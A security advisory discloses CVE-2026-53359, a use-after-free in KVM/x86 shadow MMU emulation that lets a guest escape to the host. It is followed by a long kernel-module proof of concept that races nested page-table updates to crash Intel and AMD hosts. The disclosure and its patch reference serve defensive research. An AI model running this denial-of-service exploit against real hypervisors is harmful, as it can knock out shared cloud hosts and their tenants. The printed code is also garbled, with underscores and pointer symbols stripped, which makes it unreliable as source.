Where
-Infinity
0

Hi,

The embargo agreed with the maintainers of linux-distros () vs openwall org has expired, so I am posting this report.

This is a report on "Januscape (CVE-2026-53359)", a KVM escape vulnerability that lets a guest escape to the host on KVM/x86, that is, on both Intel and AMD hosts. Januscape is a use-after-free vulnerability in the shadow MMU emulation of KVM/x86. It can trigger the bug with guest-side actions alone to corrupt the host kernel's shadow page, and it can threaten the guest-host isolation of KVM/x86 hosts that accept untrusted guests and expose nested virtualization, particularly multi-tenant x86 public clouds (GCP, AWS, etc.).

Also, on distributions such as RHEL, /dev/kvm is world-writable (0666), so an unprivileged user could also use this vulnerability as a reliable LPE to gain root, though that is a minor impact compared to the host escape.

In fact, Januscape was successfully used as a 0-day exploit in Google kvmCTF.

CVE-2026-53359 was reported to security () kernel org and has been patched in mainline, and it had been latent for about 16 years: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb

Additionally, I am attaching a DoS PoC. For detailed information about the vulnerability and follow-up updates, please see: https://januscape.io

Best regards, Hyunwoo Kim

---

/ Guest-to-Host DoS in KVM/x86 (CVE-2026-53359) KVM x86 MMU kvmmmugetchildsp() role-mismatch shadow-page reuse -> ptelistremove() host DoS. Target: Linux x8664, KVM shadow MMU before the getchildsp() role.word reuse check. Dual-arch: insmod poc.ko = Intel VMX/EPT (default), amd=1 = AMD SVM/NPT; rmmod kvmintel/kvmamd first. Copyright (c) 2026 Hyunwoo Kim (@v4bel) /

#include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/mm.h> #include <linux/kthread.h> #include <linux/cpu.h> #include <linux/delay.h> #include <linux/smp.h> #include <linux/sched.h> #include <linux/jiffies.h> #include <asm/processor.h> #include <asm/specialinsns.h> #include <asm/io.h> #include <asm/desc.h> #include <asm/segment.h> #include <asm/svm.h> #include <asm/msr-index.h> #include <linux/version.h>

/ v7.1 (1aea80dd42cf) renamed vmcb.nestedctl -> miscctl and dropped SVMNESTEDCTLNPENABLE. / #ifndef SVMNESTEDCTLNPENABLE #define SVMNESTEDCTLNPENABLE (1ULL << 0) #endif #if LINUXVERSIONCODE >= KERNELVERSION(7, 1, 0) #define VMCBNPCTL(c) ((c)->miscctl) #else #define VMCBNPCTL(c) ((c)->nestedctl) #endif

MODULELICENSE("GPL"); MODULEDESCRIPTION("KVM guest->host DoS (dual-arch: Intel VMX/EPT default, amd=1 -> AMD SVM/NPT)"); MODULEAUTHOR("Hyunwoo Kim (@v4bel)");

static int amd = 0; moduleparam(amd, int, 0444); static int nvcpu = 8; moduleparam(nvcpu, int, 0444); static int dwell = 256; moduleparam(dwell, int, 0444); static int runms = 600000; moduleparam(runms, int, 0444); static int diag = 1; moduleparam(diag, int, 0444); static int nflood = 0; moduleparam(nflood, int, 0444);

#define EPTRWX 0x7ULL #define EPTMTWB (6ULL << 3) #define EPTLEAF (EPTRWX | EPTMTWB) #define EPTTBL (EPTRWX) #define EPTPS (1ULL << 7)

#define PFP 1ULL #define PFRW 2ULL #define PFUS 4ULL #define PFPS 0x80ULL #define EFERLME 0x100ULL #define EFERLMA 0x400ULL #define EFERSVME 0x1000ULL

#define GDTG 0xC000UL #define TSSG 0xD000UL #define NPML4 0x10000UL #define NPDPT 0x11000UL #define NPD 0x12000UL #define NCODE 0x13000UL #define NCODERACE (NCODE + 0x80) #define NSTACK 0x15000UL #define HV 0x800000UL #define GVAPRIME (HV + (0x100UL << 12)) #define PDEIDX 4UL #define PRIMEIDX 0x100UL

#define MAXPG 8192 static struct page pages[MAXPG]; static u8 pord[MAXPG]; static int npg; static void track(struct page p, int order) { if (npg < MAXPG) { pages[npg] = p; pord[npg] = (u8)order; npg++; } } static void apg(u64 pa) { struct page p = allocpage(GFPKERNEL | GFPZERO); if (!p) return NULL; track(p, 0); if (pa) pa = pagetophys(p); return pageaddress(p); } static void apgorder(int order, u64 pa) { struct page p = allocpages(GFPKERNEL | GFPZERO, order); if (!p) return NULL; track(p, order); if (pa) pa = pagetophys(p); return pageaddress(p); } static void freepgs(void) { int i; for (i = 0; i < npg; i++) freepages(pages[i], pord[i]); npg = 0; }

static void lowva; static u64 lowpa; static u64 nestpml4, nestpdpt, nestpd, nestpt0, ptg; static u64 nestpdpa, nestpt0pa, ptgpa, theroot; static void gregva; static u64 gregpa; static void qva; static u64 qpa;

#define NPRESS 200 static u64 pressroot[NPRESS]; static unsigned long fcnt[NRCPUS]; #define PHASE0EVERY 8

static inline u64 rdmsr(u32 i) { u32 lo, hi; asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(i)); return ((u64)hi << 32) | lo; } static inline void wrmsr(u32 i, u64 v) { asm volatile("wrmsr" ::"c"(i), "a"((u32)v), "d"((u32)(v >> 32))); } static inline u64 rdcr4(void) { u64 v; asm volatile("mov %%cr4,%0" : "=r"(v)); return v; } static inline void wrcr4(u64 v) { asm volatile("mov %0,%%cr4" ::"r"(v) : "memory"); } static inline u64 rdcr3(void) { u64 v; asm volatile("mov %%cr3,%0" : "=r"(v)); return v; }

static inline int vmxon(u64 pa) { u8 e; asm volatile("vmxon %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline void vmxoff(void) { asm volatile("vmxoff" ::: "cc"); } static inline int vmclear(u64 pa) { u8 e; asm volatile("vmclear %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmptrld(u64 pa) { u8 e; asm volatile("vmptrld %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmwrite(u64 f, u64 v) { u8 e; asm volatile("vmwrite %2,%1; setna %0" : "=r"(e) : "r"(f), "r"(v) : "cc"); return e; } static inline u64 vmread(u64 f) { u64 v; asm volatile("vmread %1,%0" : "=r"(v) : "r"(f) : "cc"); return v; } static u32 adj(u32 msr, u32 want) { u64 m = rdmsr(msr); return (u32)(((want | (u32)m) & (u32)(m >> 32))); }

enum { MSRBITMAP = 0x2004, EPTPOINTER = 0x201a, VMCSLINKPOINTER = 0x2800, GUESTIA32EFER = 0x2806, HIA32EFER = 0x2c02, PINBASED = 0x4000, CPUBASED = 0x4002, EXCEPTIONBITMAP = 0x4004, PFECMASK = 0x4006, PFECMATCH = 0x4008, CR3TGTCNT = 0x400a, VMEXITCTL = 0x400c, VMEXITMSRSTORE = 0x400e, VMEXITMSRLOAD = 0x4010, VMENTRYCTL = 0x4012, VMENTRYMSRLOAD = 0x4014, VMENTRYINTR = 0x4016, TPRTHRESHOLD = 0x401c, SECEXEC = 0x401e, GESSEL = 0x800, GCSSEL = 0x802, GSSSEL = 0x804, GDSSEL = 0x806, GFSSEL = 0x808, GGSSEL = 0x80a, GLDTRSEL = 0x80c, GTRSEL = 0x80e, HESSEL = 0xc00, HCSSEL = 0xc02, HSSSEL = 0xc04, HDSSEL = 0xc06, HFSSEL = 0xc08, HGSSEL = 0xc0a, HTRSEL = 0xc0c, GESLIM = 0x4800, GCSLIM = 0x4802, GSSLIM = 0x4804, GDSLIM = 0x4806, GFSLIM = 0x4808, GGSLIM = 0x480a, GLDTRLIM = 0x480c, GTRLIM = 0x480e, GGDTRLIM = 0x4810, GIDTRLIM = 0x4812, GESAR = 0x4814, GCSAR = 0x4816, GSSAR = 0x4818, GDSAR = 0x481a, GFSAR = 0x481c, GGSAR = 0x481e, GLDTRAR = 0x4820, GTRAR = 0x4822, GINTRINFO = 0x4824, GACTIVITY = 0x4826, GSYSENTERCS = 0x482a, HSYSENTERCS = 0x4c00, CR0MASK = 0x6000, CR4MASK = 0x6002, CR0SHADOW = 0x6004, CR4SHADOW = 0x6006, GCR0 = 0x6800, GCR3 = 0x6802, GCR4 = 0x6804, GESBASE = 0x6806, GCSBASE = 0x6808, GSSBASE = 0x680a, GDSBASE = 0x680c, GFSBASE = 0x680e, GGSBASE = 0x6810, GLDTRBASE = 0x6812, GTRBASE = 0x6814, GGDTRBASE = 0x6816, GIDTRBASE = 0x6818, GDR7 = 0x681a, GRSP = 0x681c, GRIP = 0x681e, GRFLAGS = 0x6820, GPENDDBG = 0x6822, GSYSENTERESP = 0x6824, GSYSENTEREIP = 0x6826, HCR0 = 0x6c00, HCR3 = 0x6c02, HCR4 = 0x6c04, HFSBASE = 0x6c06, HGSBASE = 0x6c08, HTRBASE = 0x6c0a, HGDTRBASE = 0x6c0c, HIDTRBASE = 0x6c0e, HSYSENTERESP = 0x6c10, HSYSENTEREIP = 0x6c12, HRSP = 0x6c14, HRIP = 0x6c16 }; #define CPUUSEMSRBMP 0x10000000u #define CPUSECCTLS 0x80000000u #define SECEPT 0x2u #define EXITHOSTADDR 0x200u #define EXITLOADEFER 0x200000u #define ENTRYIA32E 0x200u #define ENTRYLOADEFER 0x8000u

static u64 vmxonpa[NRCPUS], vmcspa[NRCPUS], hoststk[NRCPUS]; static u64 svmguestpa[NRCPUS], svmhostpa[NRCPUS], svmhsavepa[NRCPUS]; static struct vmcb svmguest[NRCPUS]; static u64 msrbmppa, iopmpa, msrpmpa; static volatile int writerready = 0, stopall = 0; static volatile unsigned long raceloops = 0, floodloops = 0, svmexits = 0; static volatile unsigned long svmecvmmcall = 0, svmecnpf = 0, svmechlt = 0, svmecerr = 0, svmecother = 0; static volatile int saw4141 = 0, sawerr = 0; static struct taskstruct threads[NRCPUS]; static int roleof[NRCPUS]; #define RWRITER 0 #define RFLOOD 1 #define RFAULT 2

struct virtops { const char name; int (cpuon)(int cpu); void (cpuoff)(void); u64 (hugepte)(u64 pa); u64 (tblpte)(u64 pa); u64 (leaf4k)(u64 pa); u64 (mkroot)(u64 pml4pa); int (vcpurun)(int cpu); }; static struct virtops ops;

static u64 nextgrip(int cpu) { unsigned long r = fcnt[cpu]++; syncfetchandadd(&raceloops, 1); return ((r % PHASE0EVERY) == 0) ? NCODE : NCODERACE; }

static void wrimm64(u8 p, u64 v) { int i; for (i = 0; i < 8; i++) p[i] = (u8)(v >> (8 i)); }

static u8 ncode[] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0x8b, 0x00, 0x0f, 0x01, 0xc1, 0xf4 };

static u64 vmxhugepte(u64 pa) { return pa | EPTLEAF | EPTPS; } static u64 vmxtblpte(u64 pa) { return pa | EPTTBL; } static u64 vmxleaf4k(u64 pa) { return pa | EPTLEAF; } static u64 vmxmkroot(u64 pml4) { return pml4 | 0x1eULL; }

asmlinkage long vmexitdispatch(void) { int cpu = rawsmpprocessorid(); if (stopall) return 1; if (roleof[cpu] == RFLOOD) { unsigned long r = syncfetchandadd(&floodloops, 1); vmwrite(EPTPOINTER, pressroot[r % NPRESS]); vmwrite(GRIP, NCODE); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); return 0; } { u64 rip = nextgrip(cpu); vmwrite(GRIP, rip); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); } return 0; }

static noinline void runguest(void) { asm volatile( " push %%rbp\n push %%rbx\n push %%r12\n push %%r13\n push %%r14\n push %%r15\n" " mov $0x6c14, %%rdx\n vmwrite %%rsp, %%rdx\n" " lea 1f(%%rip), %%rax\n mov $0x6c16, %%rdx\n vmwrite %%rax, %%rdx\n" " vmlaunch\n jmp 3f\n" "1: call vmexitdispatch\n test %%rax, %%rax\n jnz 2f\n vmresume\n" "3:\n" "2: pop %%r15\n pop %%r14\n pop %%r13\n pop %%r12\n pop %%rbx\n pop %%rbp\n" :: : "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }

static void sethoststate(int cpu) { struct descptr gdt, idt; u16 tr; u64 trbase = 0; asm volatile("sgdt %0" : "=m"(gdt)); asm volatile("sidt %0" : "=m"(idt)); asm volatile("str %0" : "=m"(tr)); if (tr) { struct descstruct d = (struct descstruct )(gdt.address + (tr & ~7)); trbase = getdescbase(d); #ifdef CONFIGX8664 trbase |= ((u64)((struct ldttssdesc )d)->base3) << 32; #endif } vmwrite(HCR0, readcr0()); vmwrite(HCR3, rdcr3()); vmwrite(HCR4, rdcr4()); vmwrite(HCSSEL, KERNELCS); vmwrite(HSSSEL, KERNELDS); vmwrite(HDSSEL, KERNELDS); vmwrite(HESSEL, KERNELDS); vmwrite(HFSSEL, 0); vmwrite(HGSSEL, 0); vmwrite(HTRSEL, tr); vmwrite(HGDTRBASE, gdt.address); vmwrite(HIDTRBASE, idt.address); vmwrite(HTRBASE, trbase); vmwrite(HFSBASE, rdmsr(0xc0000100)); vmwrite(HGSBASE, rdmsr(0xc0000101)); vmwrite(HIA32EFER, rdmsr(0xc0000080)); vmwrite(HSYSENTERCS, 0); vmwrite(HSYSENTERESP, 0); vmwrite(HSYSENTEREIP, 0); vmwrite(HRSP, 0); vmwrite(HRIP, 0); }

static int vmxcpuon(int cpu) { u64 cr4 = rdcr4(), fc, pa; void v; wrcr4(cr4 | (1ULL << 13)); fc = rdmsr(0x3a); if (!(fc & 1)) wrmsr(0x3a, fc | 0x5); v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmxonpa[cpu] = pa; if (vmxon(pa)) { prerr("poc: vmxon fail cpu%d\n", cpu); return -1; } return 0; } static void vmxcpuoff(void) { vmxoff(); }

static int vmxvcpurun(int cpu) { u64 pa, ncr0, ncr4, gefer = 0x500; void v; u32 pin, proc, sec, exitc, entryc; v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmcspa[cpu] = pa; if (vmclear(pa) || vmptrld(pa)) { prerr("poc: vmclear/ptrld fail cpu%d\n", cpu); return -1; } ncr0 = (0x80050033ULL | rdmsr(0x486)) & rdmsr(0x487); ncr4 = (0x2000ULL | 0x20ULL | rdmsr(0x488)) & rdmsr(0x489); pin = adj(0x48d, 0); proc = adj(0x48e, CPUUSEMSRBMP | CPUSECCTLS); sec = adj(0x48b, SECEPT); exitc = adj(0x483, EXITHOSTADDR | EXITLOADEFER); entryc = adj(0x484, ENTRYIA32E | ENTRYLOADEFER); if (!(proc & CPUSECCTLS) || !(sec & SECEPT)) { prerr("poc: NO EPT ctl cpu%d\n", cpu); return -1; } vmwrite(PINBASED, pin); vmwrite(CPUBASED, proc); vmwrite(SECEXEC, sec); vmwrite(EPTPOINTER, theroot); vmwrite(EXCEPTIONBITMAP, 0); vmwrite(PFECMASK, 0); vmwrite(PFECMATCH, 0xffffffff); vmwrite(CR3TGTCNT, 0); vmwrite(VMEXITCTL, exitc); vmwrite(VMEXITMSRSTORE, 0); vmwrite(VMEXITMSRLOAD, 0); vmwrite(VMENTRYCTL, entryc); vmwrite(VMENTRYMSRLOAD, 0); vmwrite(VMENTRYINTR, 0); vmwrite(TPRTHRESHOLD, 0); vmwrite(CR0MASK, 0); vmwrite(CR4MASK, 0); vmwrite(CR0SHADOW, ncr0); vmwrite(CR4SHADOW, ncr4); vmwrite(MSRBITMAP, msrbmppa); sethoststate(cpu); vmwrite(GESSEL, 0x10); vmwrite(GCSSEL, 0x8); vmwrite(GSSSEL, 0x10); vmwrite(GDSSEL, 0x10); vmwrite(GFSSEL, 0x10); vmwrite(GGSSEL, 0x10); vmwrite(GLDTRSEL, 0); vmwrite(GTRSEL, 0x18); vmwrite(VMCSLINKPOINTER, ~0ULL); vmwrite(GUESTIA32EFER, gefer); vmwrite(GESLIM, 0xffffffff); vmwrite(GCSLIM, 0xffffffff); vmwrite(GSSLIM, 0xffffffff); vmwrite(GDSLIM, 0xffffffff); vmwrite(GFSLIM, 0xffffffff); vmwrite(GGSLIM, 0xffffffff); vmwrite(GLDTRLIM, 0xffffffff); vmwrite(GTRLIM, 0x67); vmwrite(GGDTRLIM, 0xffff); vmwrite(GIDTRLIM, 0xffff); vmwrite(GESAR, 0xc093); vmwrite(GCSAR, 0xa09b); vmwrite(GSSAR, 0xc093); vmwrite(GDSAR, 0xc093); vmwrite(GFSAR, 0xc093); vmwrite(GGSAR, 0xc093); vmwrite(GLDTRAR, 0x10000); vmwrite(GTRAR, 0x8b); vmwrite(GINTRINFO, 0); vmwrite(GACTIVITY, 0); vmwrite(GSYSENTERCS, 0); vmwrite(GCR0, ncr0); vmwrite(GCR3, NPML4); vmwrite(GCR4, ncr4); vmwrite(GESBASE, 0); vmwrite(GCSBASE, 0); vmwrite(GSSBASE, 0); vmwrite(GDSBASE, 0); vmwrite(GFSBASE, 0); vmwrite(GGSBASE, 0); vmwrite(GLDTRBASE, 0); vmwrite(GTRBASE, TSSG); vmwrite(GGDTRBASE, GDTG); vmwrite(GIDTRBASE, 0); vmwrite(GDR7, 0x400); vmwrite(GRSP, NSTACK); vmwrite(GRIP, NCODE); vmwrite(GRFLAGS, 2); vmwrite(GPENDDBG, 0); vmwrite(GSYSENTERESP, 0); vmwrite(GSYSENTEREIP, 0); if (roleof[cpu] == RFLOOD) vmwrite(EPTPOINTER, pressroot[0]); while (!writerready && !stopall) cpurelax(); runguest(); if (!stopall) prerr("poc: runguest RETURNED early cpu%d vmerr=%llx exit=%llx\n", cpu, vmread(0x4400), vmread(0x4402)); vmclear(vmcspa[cpu]); return 0; } static struct virtops vmxops = { .name = "VMX/EPT", .cpuon = vmxcpuon, .cpuoff = vmxcpuoff, .hugepte = vmxhugepte, .tblpte = vmxtblpte, .leaf4k = vmxleaf4k, .mkroot = vmxmkroot, .vcpurun = vmxvcpurun, };

static u64 svmhugepte(u64 pa) { return pa | PFP | PFRW | PFUS | PFPS; } static u64 svmtblpte(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmleaf4k(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmmkroot(u64 pml4) { return pml4; }

static inline u16 svmattr(u32 vmxar) { return (u16)((vmxar & 0xff) | ((vmxar >> 4) & 0xf00)); }

static int svmcpuon(int cpu) { u64 efer, vh, vmcbg, vmcbh; void p; efer = rdmsr(MSREFER); wrmsr(MSREFER, efer | EFERSVME); p = apg(&vh); if (!p) return -1; svmhsavepa[cpu] = vh; wrmsr(MSRVMHSAVEPA, vh); p = apg(&vmcbh); if (!p) return -1; svmhostpa[cpu] = vmcbh; svmguest[cpu] = apg(&vmcbg); if (!svmguest[cpu]) return -1; svmguestpa[cpu] = vmcbg; return 0; } static void svmcpuoff(void) { u64 e = rdmsr(MSREFER); wrmsr(MSREFER, e & ~EFERSVME); }

/ one VMRUN of the L3; host segs vmsave/vmload'd around it. gpa/hpa via memory operands so they survive the guest clobbering GPRs; VMRUN auto-saves host RSP/RIP/RAX via VMHSAVEPA. / static noinline void svmdovmrun(u64 gpa, u64 hpa) { u64 g = gpa, h = hpa; asm volatile(" clgi\n" " mov %1, %%rax\n vmsave\n" " mov %0, %%rax\n vmload\n" " vmrun\n" " mov %0, %%rax\n vmsave\n" " mov %1, %%rax\n vmload\n" " stgi\n" : "+m"(g), "+m"(h) : : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }

static void svmseg(struct vmcbseg s, u16 sel, u32 vmxar, u32 lim, u64 base) { s->selector = sel; s->attrib = svmattr(vmxar); s->limit = lim; s->base = base; }

static int svmvcpurun(int cpu) { struct vmcb gv = svmguest[cpu]; struct vmcbcontrolarea c = &gv->control; struct vmcbsavearea s = &gv->save; int first = 1; memset(gv, 0, sizeof(gv));

c->intercepts[INTERCEPTVMRUN / 32] |= 1u << (INTERCEPTVMRUN % 32); c->intercepts[INTERCEPTVMMCALL / 32] |= 1u << (INTERCEPTVMMCALL % 32); c->intercepts[INTERCEPTHLT / 32] |= 1u << (INTERCEPTHLT % 32); c->asid = 1; VMCBNPCTL(c) = SVMNESTEDCTLNPENABLE; c->nestedcr3 = theroot; c->iopmbasepa = iopmpa; c->msrpmbasepa = msrpmpa; c->clean = 0;

s->efer = EFERSVME | EFERLME | EFERLMA; s->cr0 = 0x80050033ULL; s->cr3 = NPML4; s->cr4 = 0x20ULL; s->rflags = 2; s->rip = NCODE; s->rsp = NSTACK; s->rax = 0; s->dr7 = 0x400; s->gpat = 0x0007040600070406ULL; svmseg(&s->cs, 0x08, 0xa09b, 0xffffffff, 0); svmseg(&s->ss, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->ds, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->es, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->fs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->gs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->tr, 0x18, 0x008b, 0x67, TSSG); svmseg(&s->ldtr, 0, 0, 0, 0); svmseg(&s->gdtr, 0, 0, 0xffff, GDTG); svmseg(&s->idtr, 0, 0, 0xffff, 0);

while (!writerready && !stopall) cpurelax(); while (!stopall) { u64 rip = nextgrip(cpu); s->rip = rip; s->rsp = NSTACK; s->rflags = 2; s->rax = 0; c->clean = 0; svmdovmrun(svmguestpa[cpu], svmhostpa[cpu]); { u32 ec = c->exitcode; u64 rax = s->rax; syncfetchandadd(&svmexits, 1); if (ec == 0x81) syncfetchandadd(&svmecvmmcall, 1); else if (ec == 0x400) syncfetchandadd(&svmecnpf, 1); else if (ec == 0x78) syncfetchandadd(&svmechlt, 1); else if (ec == 0xffffffff) syncfetchandadd(&svmecerr, 1); else syncfetchandadd(&svmecother, 1); if (first && diag) { prinfo("poc[SVM]: first vmexit cpu%d exitcode=0x%x info1=%llx info2=%llx rip=%llx rax=%llx (NPF=0x400 VMMCALL=0x81 HLT=0x78 ERR=0xffffffff)\n", cpu, ec, c->exitinfo1, c->exitinfo2, rip, rax); first = 0; } if (diag >= 2) { if (rax == 0x4141414141414141ULL && !synclocktestandset(&saw4141, 1)) prinfo("poc[SVM]: cpu%d rip=%llx rax=0x4141..\n", cpu, rip, rax); if (ec == 0xffffffff && !synclocktestandset(&sawerr, 1)) prerr("poc[SVM]: cpu%d exitcode=-1 info1=%llx\n", cpu, c->exitinfo1); if ((svmecvmmcall % 50000) == 0 && ec == 0x81) prinfo("poc[SVM] hist cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu saw4141=%d nestpd[%lu]=%llx\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141, PDEIDX, nestpd[PDEIDX]); } } } if (diag) prinfo("poc[SVM] FINAL cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu sawNPTread4141=%d\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141); return 0; } static struct virtops svmops = { .name = "SVM/NPT", .cpuon = svmcpuon, .cpuoff = svmcpuoff, .hugepte = svmhugepte, .tblpte = svmtblpte, .leaf4k = svmleaf4k, .mkroot = svmmkroot, .vcpurun = svmvcpurun, };

static int buildworld(void) { int i; u64 npd; u8 lb; lowva = apgorder(9, &lowpa); if (!lowva) return -1; lb = lowva; gregva = apgorder(9, &gregpa); if (!gregva) return -1; qva = apg(&qpa); if (!qva) return -1; for (i = 0; i < 512; i++) ((u64 )qva)[i] = 0x4141414141414141ULL;

{ u64 a; nestpml4 = apg(&a); if (!nestpml4) return -1; theroot = ops->mkroot(a); nestpdpt = apg(&a); if (!nestpdpt) return -1; nestpml4[0] = ops->tblpte(a); nestpd = apg(&nestpdpa); if (!nestpd) return -1; nestpdpt[0] = ops->tblpte(nestpdpa); nestpt0 = apg(&nestpt0pa); if (!nestpt0) return -1; nestpd[0] = ops->tblpte(nestpt0pa); }

/ ptg (the nested PT page) IS greg's first page -> tablegfn == S->gfn == G; gfn matches while role mismatches (q stays a separate page). / ptg = (u64 )gregva; ptgpa = gregpa; for (i = 0; i < 512; i++) nestpt0[i] = ops->leaf4k(lowpa + (u64)i 0x1000); nestpd[PDEIDX] = ops->hugepte(gregpa); for (i = 0; i < 512; i++) ptg[i] = 0; ptg[0] = ops->leaf4k(gregpa); ptg[PRIMEIDX] = ops->leaf4k(qpa);

npd = (u64 )(lb + NPD); (u64 )(lb + NPML4) = NPDPT | PFP | PFRW | PFUS; (u64 )(lb + NPDPT) = NPD | PFP | PFRW | PFUS; npd[0] = 0x0 | PFP | PFRW | PFUS | PFPS; npd[PDEIDX] = HV | PFP | PFRW | PFUS | PFPS; memcpy(lb + NCODE, ncode, sizeof(ncode)); wrimm64(lb + NCODE + 2, HV); memcpy(lb + NCODERACE, ncode, sizeof(ncode)); wrimm64(lb + NCODERACE + 2, GVAPRIME); (u64 )(lb + GDTG + 0x00) = 0; (u64 )(lb + GDTG + 0x08) = 0x00AF9B000000FFFFULL; (u64 )(lb + GDTG + 0x10) = 0x00CF93000000FFFFULL; (u64 )(lb + GDTG + 0x18) = 0x00008900D0000067ULL; (u64 )(lb + GDTG + 0x20) = 0;

if (!amd) for (i = 0; i < NPRESS; i++) { u64 a; u64 pm = apg(&a), pp, pdp, p0, pt; u64 ppa, pda, pt0a, ptta; int j; pp = apg(&ppa); if (!pm || !pp) break; pm[0] = ppa | EPTTBL; pdp = apg(&pda); if (!pdp) break; pp[0] = pda | EPTTBL; p0 = apg(&pt0a); pt = apg(&ptta); if (!p0 || !pt) break; pdp[0] = pt0a | EPTTBL; pdp[PDEIDX] = ptta | EPTTBL; for (j = 0; j < 512; j++) { p0[j] = (lowpa + (u64)j 0x1000) | EPTLEAF; pt[j] = (gregpa + (u64)j 0x1000) | EPTLEAF; } pressroot[i] = a | 0x1eULL; } prinfo("poc[%s]: world built root=%llx greg=%llx q=%llx (S.gfn=%llx primegfn=%llx qgfn=%llx)\n", ops->name, theroot, gregpa, qpa, gregpa >> 12, (gregpa >> 12) + PRIMEIDX, qpa >> 12); return 0; }

static void parkuntilstop(void) { while (!kthreadshouldstop()) msleep(50); }

static int kthr(void arg) { int cpu = (int)(long)arg; if (ops->cpuon(cpu) == 0) { if (roleof[cpu] == RWRITER) { unsigned long w = 0; unsigned long deadline = jiffies + msecstojiffies(runms); writerready = 1; prinfo("poc[%s]: writer live cpu%d dwell=%d runms=%d\n", ops->name, cpu, dwell, runms); while (!stopall) { volatile int k; nestpd[PDEIDX] = ops->hugepte(gregpa); for (k = 0; k < dwell; k++) cpurelax(); nestpd[PDEIDX] = ops->tblpte(ptgpa); for (k = 0; k < dwell; k++) cpurelax(); if (((++w) & 0x3ff) == 0 && runms > 0 && timeafter(jiffies, deadline)) { prinfo("poc[%s]: writer deadline (writes=%lu race=%lu svmexits=%lu) -> stop\n", ops->name, w, raceloops, svmexits); stopall = 1; break; } if ((w % 2000000) == 0) prinfo("poc[%s]: writes=%lu race=%lu svmexits=%lu\n", ops->name, w, raceloops, svmexits); } } else { ops->vcpurun(cpu); } ops->cpuoff(); } parkuntilstop(); return 0; }

static int virtsupported(int wantamd) { u32 a, b, c, d; if (wantamd) { a = 0x80000001; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 2)); } a = 1; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 5)); }

static int init minit(void) { int cpu, online = numonlinecpus(), used; void bmp; ops = amd ? &svmops : &vmxops; prinfo("poc: backend=%s (amd=%d) nvcpu=%d online=%d runms=%d [rmmod %s first!]\n", ops->name, amd, nvcpu, online, runms, amd ? "kvmamd" : "kvmintel"); if (!virtsupported(amd)) { prerr("poc: CPU lacks %s -> abort (use %s, or run on matching host)\n", amd ? "SVM" : "VMX", amd ? "amd=0 on Intel" : "amd=1 on AMD"); return -ENODEV; } prinfo("[] poc step 1/4: backend=%s ready (rmmod %s done)\n", ops->name, amd ? "kvmamd" : "kvmintel"); if (amd) { ncode[13] = 0x0f; ncode[14] = 0x01; ncode[15] = 0xd9; } if (diag) { if (!amd) prinfo("poc: DIAG VMX BASIC=%llx EPTVPID=%llx\n", rdmsr(0x480), rdmsr(0x48c)); else prinfo("poc: DIAG SVM EFER=%llx VMCR=%llx\n", rdmsr(MSREFER), rdmsr(0xc0010114)); } if (buildworld()) { prerr("poc: build fail\n"); freepgs(); return -ENOMEM; } prinfo("[] poc step 2/4: nested page tables + L3 guest image built\n"); bmp = apg(&msrbmppa); if (bmp) memset(bmp, 0xff, 4096); if (amd) { void a = apgorder(2, &iopmpa); void b = apgorder(1, &msrpmpa); if (!a || !b) { prerr("poc: iopm/msrpm alloc fail\n"); freepgs(); return -ENOMEM; } } for (cpu = 0; cpu < online && cpu < NRCPUS; cpu++) { void s = apg(NULL); hoststk[cpu] = (u64)(unsigned long)((char )s + 0xff0); } used = min(nvcpu, online); for (cpu = 0; cpu < used; cpu++) roleof[cpu] = (cpu == 0) ? RWRITER : (cpu <= nflood && !amd) ? RFLOOD : RFAULT; prinfo("[] poc step 3/4: launching %d kthreads (1 writer + %d faulters)\n", used, used - 1 - (amd ? 0 : nflood)); for (cpu = 0; cpu < used; cpu++) { threads[cpu] = kthreadcreate(kthr, (void )(long)cpu, "poc%d", cpu); if (!ISERR(threads[cpu])) { kthreadbind(threads[cpu], cpu); wakeupprocess(threads[cpu]); } } prinfo("poc[%s]: %d kthreads launched (1 writer + %d flood + %d faulters); race live\n", ops->name, used, amd ? 0 : nflood, used - 1 - (amd ? 0 : nflood)); prinfo("[] poc step 4/4: race live -- host DoS triggering\n"); return 0; } static void exit mexit(void) { int c; stopall = 1; msleep(200); for (c = 0; c < NRCPUS; c++) if (threads[c] && !ISERR(threads[c])) kthreadstop(threads[c]); freepgs(); prinfo("poc: unloaded\n"); } moduleinit(minit); moduleexit(mexit);

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
